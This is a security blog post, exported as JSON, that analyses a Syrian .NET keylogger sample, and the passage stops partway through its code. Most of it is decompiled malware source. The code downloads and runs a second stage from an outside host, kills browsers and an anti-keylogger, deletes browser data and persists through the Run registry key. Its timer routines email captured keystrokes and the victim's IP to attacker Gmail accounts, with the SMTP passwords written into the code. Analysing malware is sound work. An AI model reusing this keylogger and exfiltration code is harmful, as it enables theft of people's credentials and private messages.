{"id":834,"date":"2014-07-29T02:37:24","date_gmt":"2014-07-29T02:37:24","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=834"},"modified":"2014-07-29T02:39:47","modified_gmt":"2014-07-29T02:39:47","slug":"syrian-malware-2-electric-boogaloo","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2014\/07\/syrian-malware-2-electric-boogaloo\/","title":{"rendered":"Syrian Malware 2 &#8211; Electric Boogaloo"},"content":{"rendered":"<p>Back for part 2 are we?  Let&#8217;s get this show on the road. We&#8217;ve seen how awful the first piece of malware was in terms of how it was thrown together in all but 10 minutes, but you aint seen nothing yet. The next one actually embeds passwords inside and even email addresses. After that, I&#8217;ll go over a little more complicated example which uses reflection and a laughable encryption routine complete with code to decrypt. I&#8217;ll even include the source code. <\/p>\n<p>Filename:           MyLogerMailEnd.exe<br \/>\nMD5 Hash:           7D867D6BD5FC3015A31FDFA121BA9187<br \/>\nDetection ratio:    42 \/ 50<\/p>\n<p>Yet another .net binary straight outta Syria. binary ships with multiple classes. The first one that stands out is a class for logging keystrokes, unless you can think of another reason to name your class &#8216;keyboard&#8217; and make use of the API SetWindowsHookExA(). For those of you who don&#8217;t know, you can use this API to trap window messages \/ keyboard events and extract  the virtual key codes from each for logging. A method as old as windows itself.<br \/>\n <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/mylog1.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/mylog1-300x162.png\" alt=\"mylog1\" width=\"300\" height=\"162\" class=\"alignnone size-medium wp-image-845\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/mylog1-300x162.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/mylog1-1024x554.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/mylog1.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now let&#8217;s go over the code in the &#8216;Form&#8217; class. It&#8217;s rather interesting.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Form1_Load<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t{\r\n\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag = !File.Exists(<span style=\"background-color: #fff0f0\">&quot;c:\\\\d.doc&quot;<\/span>);\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t{\r\n\t\t\tMyProject.Computer.Network.DownloadFile(<span style=\"background-color: #fff0f0\">&quot;http:\/\/www.ckku.com\/includes\/d.doc&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;c:\\\\Windows\\\\d.doc&quot;<\/span>);\r\n\t\t}\r\n\t\tThread.Sleep(<span style=\"color: #6600EE; font-weight: bold\">4000<\/span>);\r\n\t\tflag = File.Exists(<span style=\"background-color: #fff0f0\">&quot;c:\\\\Windows\\\\d.doc&quot;<\/span>);\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t{\r\n\t\t\tProcess.Start(<span style=\"background-color: #fff0f0\">&quot;c:\\\\Windows\\\\d.doc&quot;<\/span>);\r\n\t\t}\r\n\t}\r\n\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_59)\r\n\t{\r\n\t\tProjectData.SetProjectError(expr_59);\r\n\t\tProjectData.ClearProjectError();\r\n\t}\r\n\tThread.Sleep(<span style=\"color: #6600EE; font-weight: bold\">30000<\/span>);\r\n\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Hide();\r\n\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.k.CreateHook();\r\n\tProcess[] processesByName = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;iexplore&quot;<\/span>);\r\n\tProcess[] processesByName2 = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;firefox&quot;<\/span>);\r\n\tProcess[] processesByName3 = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;chrome&quot;<\/span>);\r\n\tProcess[] processesByName4 = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;opera&quot;<\/span>);\r\n\tProcess[] processesByName5 = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;Safari&quot;<\/span>);\r\n\tProcess[] processesByName6 = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;keyscrambler&quot;<\/span>);\r\n\tProcess[] processesByName7 = Process.GetProcessesByName(<span style=\"background-color: #fff0f0\">&quot;Skype&quot;<\/span>);\r\n\t<span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t{\r\n\t\t\tProcess[] array = processesByName;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; i &lt; array.Length; i++)\r\n\t\t\t{\r\n\t\t\t\tProcess process = array[i];\r\n\t\t\t\tprocess.Kill();\r\n\t\t\t}\r\n\t\t\tProcess[] array2 = processesByName2;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> j = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; j &lt; array2.Length; j++)\r\n\t\t\t{\r\n\t\t\t\tProcess process2 = array2[j];\r\n\t\t\t\tprocess2.Kill();\r\n\t\t\t}\r\n\t\t\tProcess[] array3 = processesByName3;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> k = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; k &lt; array3.Length; k++)\r\n\t\t\t{\r\n\t\t\t\tProcess process3 = array3[k];\r\n\t\t\t\tprocess3.Kill();\r\n\t\t\t}\r\n\t\t\tProcess[] array4 = processesByName4;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> l = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; l &lt; array4.Length; l++)\r\n\t\t\t{\r\n\t\t\t\tProcess process4 = array4[l];\r\n\t\t\t\tprocess4.Kill();\r\n\t\t\t}\r\n\t\t\tProcess[] array5 = processesByName5;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> m = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; m &lt; array5.Length; m++)\r\n\t\t\t{\r\n\t\t\t\tProcess process5 = array5[m];\r\n\t\t\t\tprocess5.Kill();\r\n\t\t\t}\r\n\t\t\tProcess[] array6 = processesByName6;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> n = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; n &lt; array6.Length; n++)\r\n\t\t\t{\r\n\t\t\t\tProcess process6 = array6[n];\r\n\t\t\t\tprocess6.Kill();\r\n\t\t\t}\r\n\t\t\tProcess[] array7 = processesByName7;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> num = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; num &lt; array7.Length; num++)\r\n\t\t\t{\r\n\t\t\t\tProcess process7 = array7[num];\r\n\t\t\t\tprocess7.Kill();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);\r\n\t\t\ttext += <span style=\"background-color: #fff0f0\">&quot;\\\\Mozilla\\\\Firefox\\\\Profiles\\\\&quot;<\/span>;\r\n\t\t\tMyProject.Computer.FileSystem.DeleteDirectory(text, DeleteDirectoryOption.DeleteAllContents);\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);\r\n\t\t\ttext += <span style=\"background-color: #fff0f0\">&quot;\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\&quot;<\/span>;\r\n\t\t\tMyProject.Computer.FileSystem.DeleteDirectory(folderPath, DeleteDirectoryOption.DeleteAllContents);\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);\r\n\t\t\ttext += <span style=\"background-color: #fff0f0\">&quot;\\\\Opera\\\\Opera\\\\cache\\\\&quot;<\/span>;\r\n\t\t\tMyProject.Computer.FileSystem.DeleteDirectory(folderPath2, DeleteDirectoryOption.DeleteAllContents);\r\n\t\t\tfolderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);\r\n\t\t\ttext += <span style=\"background-color: #fff0f0\">&quot;\\\\Apple Computer\\\\Safari\\\\History\\\\&quot;<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> directory;\r\n\t\t\tMyProject.Computer.FileSystem.DeleteDirectory(directory, DeleteDirectoryOption.DeleteAllContents);\r\n\t\t\tfolderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);\r\n\t\t\ttext += <span style=\"background-color: #fff0f0\">&quot;\\\\Microsoft\\\\Windows\\\\Temporary Internet Files\\\\&quot;<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> directory2;\r\n\t\t\tMyProject.Computer.FileSystem.DeleteDirectory(directory2, DeleteDirectoryOption.DeleteAllContents);\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_2EA)\r\n\t\t{\r\n\t\t\tProjectData.SetProjectError(expr_2EA);\r\n\t\t\tProjectData.ClearProjectError();\r\n\t\t}\r\n\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text2 = <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox1.Text;\r\n\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag = text2.Contains(<span style=\"background-color: #fff0f0\">&quot;facebook&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;FACEBOOK&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;hotmail&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;HOTMAIL&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;yahoo&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;YAHOO&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;GMAIL&quot;<\/span>) | text2.Contains(<span style=\"background-color: #fff0f0\">&quot;gmail&quot;<\/span>);\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t{\r\n\t\t}\r\n\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text3 = <span style=\"background-color: #fff0f0\">&quot;C:\\\\Users\\\\system.exe&quot;<\/span>;\r\n\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text4 = <span style=\"background-color: #fff0f0\">&quot;C:\\\\Windows\\\\system.exe&quot;<\/span>;\r\n\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text5 = <span style=\"background-color: #fff0f0\">&quot;D:\\\\system.exe&quot;<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t{\r\n\t\t\tflag = !File.Exists(text3);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> fileName = Path.GetFileName(Application.ExecutablePath);\r\n\t\t\t\tMyProject.Computer.FileSystem.CopyFile(fileName, text3, <span style=\"color: #008800; font-weight: bold\">true<\/span>);\r\n\t\t\t\tFile.SetAttributes(text3, File.GetAttributes(text3) | FileAttributes.Hidden);\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t\t{\r\n\t\t\t\tflag = !File.Exists(text4);\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t\t\t{\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> fileName2 = Path.GetFileName(Application.ExecutablePath);\r\n\t\t\t\t\tMyProject.Computer.FileSystem.CopyFile(fileName2, text4, <span style=\"color: #008800; font-weight: bold\">true<\/span>);\r\n\t\t\t\t\tFile.SetAttributes(text4, File.GetAttributes(text4) | FileAttributes.Hidden);\r\n\t\t\t\t}\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t\t\t{\r\n\t\t\t\t\tflag = !File.Exists(text5);\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> fileName3 = Path.GetFileName(Application.ExecutablePath);\r\n\t\t\t\t\t\tMyProject.Computer.FileSystem.CopyFile(fileName3, text5, <span style=\"color: #008800; font-weight: bold\">true<\/span>);\r\n\t\t\t\t\t\tFile.SetAttributes(text5, File.GetAttributes(text5) | FileAttributes.Hidden);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_44A)\r\n\t\t{\r\n\t\t\tProjectData.SetProjectError(expr_44A);\r\n\t\t\tProjectData.ClearProjectError();\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t{\r\n\t\t\tRegistryKey registryKey = Registry.CurrentUser.OpenSubKey(<span style=\"background-color: #fff0f0\">&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run&quot;<\/span>, <span style=\"color: #008800; font-weight: bold\">true<\/span>);\r\n\t\t\tregistryKey.SetValue(<span style=\"background-color: #fff0f0\">&quot;System1&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;\\&quot;&quot;<\/span> + text3 + <span style=\"background-color: #fff0f0\">&quot;\\&quot;&quot;<\/span>);\r\n\t\t\tregistryKey.Close();\r\n\t\t\tregistryKey = Registry.CurrentUser.OpenSubKey(<span style=\"background-color: #fff0f0\">&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run&quot;<\/span>, <span style=\"color: #008800; font-weight: bold\">true<\/span>);\r\n\t\t\tregistryKey.SetValue(<span style=\"background-color: #fff0f0\">&quot;System2&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;\\&quot;&quot;<\/span> + text4 + <span style=\"background-color: #fff0f0\">&quot;\\&quot;&quot;<\/span>);\r\n\t\t\tregistryKey.Close();\r\n\t\t\tregistryKey = Registry.CurrentUser.OpenSubKey(<span style=\"background-color: #fff0f0\">&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run&quot;<\/span>, <span style=\"color: #008800; font-weight: bold\">true<\/span>);\r\n\t\t\tregistryKey.SetValue(<span style=\"background-color: #fff0f0\">&quot;System2&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;\\&quot;&quot;<\/span> + text5 + <span style=\"background-color: #fff0f0\">&quot;\\&quot;&quot;<\/span>);\r\n\t\t\tregistryKey.Close();\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_503)\r\n\t\t{\r\n\t\t\tProjectData.SetProjectError(expr_503);\r\n\t\t\tProjectData.ClearProjectError();\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>It starts off by checking for the contents of the file &#8216;d.doc&#8217; in the windows directory. If the file doesn&#8217;t exist (ie; first run), then it attempts to download the file from &#8220;http:\/\/www.ckku.com\/includes\/d.doc&#8221;, likely some hacked site used to deliver stage 3.  Next it checks to see if any browsers are running as well as Skype, and &#8216;keyscrambler&#8217; &#8211; an anti key logging program. It then attempts to kill said processes. After that, the malware copies itself to the locations C:\\\\Users\\\\system.exe, C:\\\\Windows\\\\system.exe, and D:\\\\system.exe and sets the file flags as hidden. Finally, it adds itself to start up using the all to familiar registry key &#8220;HKLM\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run&#8221;.<\/p>\n<p>That&#8217;s fine and dandy, but let&#8217;s bring on the fail shall we?<br \/>\nThere are 3 timer objects, set to go off every 30 seconds or so.<br \/>\nTimer1:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Timer1_Tick<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n{\r\n\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag = <span style=\"color: #008800; font-weight: bold\">this<\/span>.isRunning(<span style=\"background-color: #fff0f0\">&quot;skype.exe&quot;<\/span>);\r\n\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t{\r\n\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag2 = <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.TextLength &gt; <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag2)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t{\r\n\t\t\t\tHttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(<span style=\"background-color: #fff0f0\">&quot;http:\/\/automation.whatismyip.com\/n09230945.asp&quot;<\/span>);\r\n\t\t\t\tHttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();\r\n\t\t\t\tStream responseStream = httpWebResponse.GetResponseStream();\r\n\t\t\t\tStreamReader streamReader = <span style=\"color: #008800; font-weight: bold\">new<\/span> StreamReader(responseStream);\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> str = streamReader.ReadToEnd();\r\n\t\t\t\tMailMessage mailMessage = <span style=\"color: #008800; font-weight: bold\">new<\/span> MailMessage();\r\n\t\t\t\tmailMessage.From = <span style=\"color: #008800; font-weight: bold\">new<\/span> MailAddress(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>);\r\n\t\t\t\tmailMessage.To.Add(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>);\r\n\t\t\t\tmailMessage.To.Add(<span style=\"background-color: #fff0f0\">&quot;933luckystrike@gmail.com&quot;<\/span>);\r\n\t\t\t\tmailMessage.Subject = <span style=\"background-color: #fff0f0\">&quot;New Message Skype Account from&quot;<\/span> + MyProject.User.Name;\r\n\t\t\t\tmailMessage.Body = <span style=\"background-color: #fff0f0\">&quot;Ip Addres Is : &quot;<\/span> + str + <span style=\"background-color: #fff0f0\">&quot;\\r\\n&quot;<\/span> + <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.Text;\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">SmtpClient<\/span>(<span style=\"background-color: #fff0f0\">&quot;smtp.gmail.com&quot;<\/span>)\r\n\t\t\t\t{\r\n\t\t\t\t\tPort = <span style=\"color: #6600EE; font-weight: bold\">587<\/span>,\r\n\t\t\t\t\tCredentials = <span style=\"color: #008800; font-weight: bold\">new<\/span> NetworkCredential(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;masterhacker!@)&quot;<\/span>),\r\n\t\t\t\t\tEnableSsl = <span style=\"color: #008800; font-weight: bold\">true<\/span>\r\n\t\t\t\t}.Send(mailMessage);\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.Text = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_12D)\r\n\t\t\t{\r\n\t\t\t\tProjectData.SetProjectError(expr_12D);\r\n\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.Text = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>Timer 2:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Timer2_Tick<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t{\r\n\t\tHttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(<span style=\"background-color: #fff0f0\">&quot;http:\/\/automation.whatismyip.com\/n09230945.asp&quot;<\/span>);\r\n\t\tHttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();\r\n\t\tStream responseStream = httpWebResponse.GetResponseStream();\r\n\t\tStreamReader streamReader = <span style=\"color: #008800; font-weight: bold\">new<\/span> StreamReader(responseStream);\r\n\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> str = streamReader.ReadToEnd();\r\n\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text = <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox1.Text;\r\n\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag = text.Contains(<span style=\"background-color: #fff0f0\">&quot;facebook&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;FACEBOOK&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;hotmail&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;HOTMAIL&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;yahoo&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;YAHOO&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;GMAIL&quot;<\/span>) | text.Contains(<span style=\"background-color: #fff0f0\">&quot;gmail&quot;<\/span>);\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Timer2.Start();\r\n\t\t\tMailMessage mailMessage = <span style=\"color: #008800; font-weight: bold\">new<\/span> MailMessage();\r\n\t\t\tmailMessage.From = <span style=\"color: #008800; font-weight: bold\">new<\/span> MailAddress(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>);\r\n\t\t\tmailMessage.To.Add(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>);\r\n\t\t\tmailMessage.To.Add(<span style=\"background-color: #fff0f0\">&quot;933luckystrike@gmail.com&quot;<\/span>);\r\n\t\t\tmailMessage.Subject = <span style=\"background-color: #fff0f0\">&quot;New Account From &quot;<\/span> + MyProject.User.Name;\r\n\t\t\tmailMessage.Body = <span style=\"background-color: #fff0f0\">&quot;Ip Addres Is : &quot;<\/span> + str + <span style=\"background-color: #fff0f0\">&quot;\\r\\n&quot;<\/span> + <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox1.Text;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">SmtpClient<\/span>(<span style=\"background-color: #fff0f0\">&quot;smtp.gmail.com&quot;<\/span>)\r\n\t\t\t{\r\n\t\t\t\tPort = <span style=\"color: #6600EE; font-weight: bold\">587<\/span>,\r\n\t\t\t\tCredentials = <span style=\"color: #008800; font-weight: bold\">new<\/span> NetworkCredential(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;masterhacker!@)&quot;<\/span>),\r\n\t\t\t\tEnableSsl = <span style=\"color: #008800; font-weight: bold\">true<\/span>\r\n\t\t\t}.Send(mailMessage);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox1.Text = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox1.Text = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t}\r\n\t}\r\n\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_19E)\r\n\t{\r\n\t\tProjectData.SetProjectError(expr_19E);\r\n\t\tProjectData.ClearProjectError();\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>And last but not least, timer 3:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Timer3_Tick<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n{\r\n\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag = <span style=\"color: #008800; font-weight: bold\">this<\/span>.isRunning(<span style=\"background-color: #fff0f0\">&quot;skype.exe&quot;<\/span>);\r\n\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag)\r\n\t{\r\n\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> flag2 = <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.TextLength &gt; <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (flag2)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t{\r\n\t\t\t\tHttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(<span style=\"background-color: #fff0f0\">&quot;http:\/\/automation.whatismyip.com\/n09230945.asp&quot;<\/span>);\r\n\t\t\t\tHttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();\r\n\t\t\t\tStream responseStream = httpWebResponse.GetResponseStream();\r\n\t\t\t\tStreamReader streamReader = <span style=\"color: #008800; font-weight: bold\">new<\/span> StreamReader(responseStream);\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> str = streamReader.ReadToEnd();\r\n\t\t\t\tMailMessage mailMessage = <span style=\"color: #008800; font-weight: bold\">new<\/span> MailMessage();\r\n\t\t\t\tmailMessage.From = <span style=\"color: #008800; font-weight: bold\">new<\/span> MailAddress(<span style=\"background-color: #fff0f0\">&quot;933luckystrike@gmail.com&quot;<\/span>);\r\n\t\t\t\tmailMessage.To.Add(<span style=\"background-color: #fff0f0\">&quot;bestjamool@gmail.com&quot;<\/span>);\r\n\t\t\t\tmailMessage.To.Add(<span style=\"background-color: #fff0f0\">&quot;933luckystrike@gmail.com&quot;<\/span>);\r\n\t\t\t\tmailMessage.Subject = <span style=\"background-color: #fff0f0\">&quot;New Message Skype Account from&quot;<\/span> + MyProject.User.Name;\r\n\t\t\t\tmailMessage.Body = <span style=\"background-color: #fff0f0\">&quot;Ip Addres Is : &quot;<\/span> + str + <span style=\"background-color: #fff0f0\">&quot;\\r\\n&quot;<\/span> + <span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.Text;\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">SmtpClient<\/span>(<span style=\"background-color: #fff0f0\">&quot;smtp.gmail.com&quot;<\/span>)\r\n\t\t\t\t{\r\n\t\t\t\t\tPort = <span style=\"color: #6600EE; font-weight: bold\">587<\/span>,\r\n\t\t\t\t\tCredentials = <span style=\"color: #008800; font-weight: bold\">new<\/span> NetworkCredential(<span style=\"background-color: #fff0f0\">&quot;933luckystrike@gmail.com&quot;<\/span>, <span style=\"background-color: #fff0f0\">&quot;masterhacker!@))&quot;<\/span>),\r\n\t\t\t\t\tEnableSsl 